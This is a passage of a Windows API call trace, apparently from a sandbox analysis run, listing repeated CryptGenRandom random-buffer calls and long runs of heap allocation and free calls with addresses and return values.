hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.861] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.861] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.862] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.862] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.862] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.862] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.862] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.862] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.863] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.863] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.863] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.864] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.864] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.864] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.864] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.864] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.864] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0030.865] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0030.865] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0030.868] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.869] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.869] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.869] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.869] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.869] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.869] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.870] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.870] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.870] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.871] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.871] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.871] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.871] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.871] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.871] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.872] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.872] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.872] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.873] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.873] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.873] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.874] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.874] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.874] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.874] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.874] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.874] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.875] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.875] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.875] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.876] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.876] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.876] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.876] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.876] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.876] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.877] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.877] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.877] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.878] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.878] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.878] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.878] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.878] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5143f8 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514368 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5142d8 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514248 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5141b8 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514128 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514098 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514008 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513f78 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ee8 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513e58 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513dc8 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513d38 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ca8 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513c18 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513b88 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514638 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5146c8 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514758 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5147e8 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514878 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514908 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514998 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514a28 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514ab8 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514b48 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514bd8 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514c68 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514cf8 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514d88 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514518 | out: hHeap=0x4f0000) returned 1 [0030.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511898 | out: hHeap=0x4f0000) returned 1 [0030.971] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x511168 [0030.971] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x511270 [0030.971] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511378 [0030.971] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x108) returned 0x511898 [0030.971] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.971] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff028 [0030.971] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0030.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511270 | out: hHeap=0x4f0000) returned 1 [0030.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514518 [0030.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511378 | out: hHeap=0x4f0000) returned 1 [0030.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511550 [0030.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514518 | out: hHeap=0x4f0000) returned 1 [0030.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff040 [0030.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x88) returned 0x514518 [0030.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff040 | out: hHeap=0x4f0000) returned 1 [0030.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0030.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514518 | out: hHeap=0x4f0000) returned 1 [0030.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0030.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511550 | out: hHeap=0x4f0000) returned 1 [0030.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511898 | out: hHeap=0x4f0000) returned 1 [0030.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0030.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff028 | out: hHeap=0x4f0000) returned 1 [0030.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x511270 [0030.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511378 [0030.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x108) returned 0x511438 [0030.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff028 [0030.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511898 [0030.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511270 | out: hHeap=0x4f0000) returned 1 [0030.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514518 [0030.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511378 | out: hHeap=0x4f0000) returned 1 [0030.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511550 [0030.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514518 | out: hHeap=0x4f0000) returned 1 [0030.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff040 [0030.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x88) returned 0x514518 [0030.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff040 | out: hHeap=0x4f0000) returned 1 [0030.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0030.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514518 | out: hHeap=0x4f0000) returned 1 [0030.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.975] HeapFree (in: 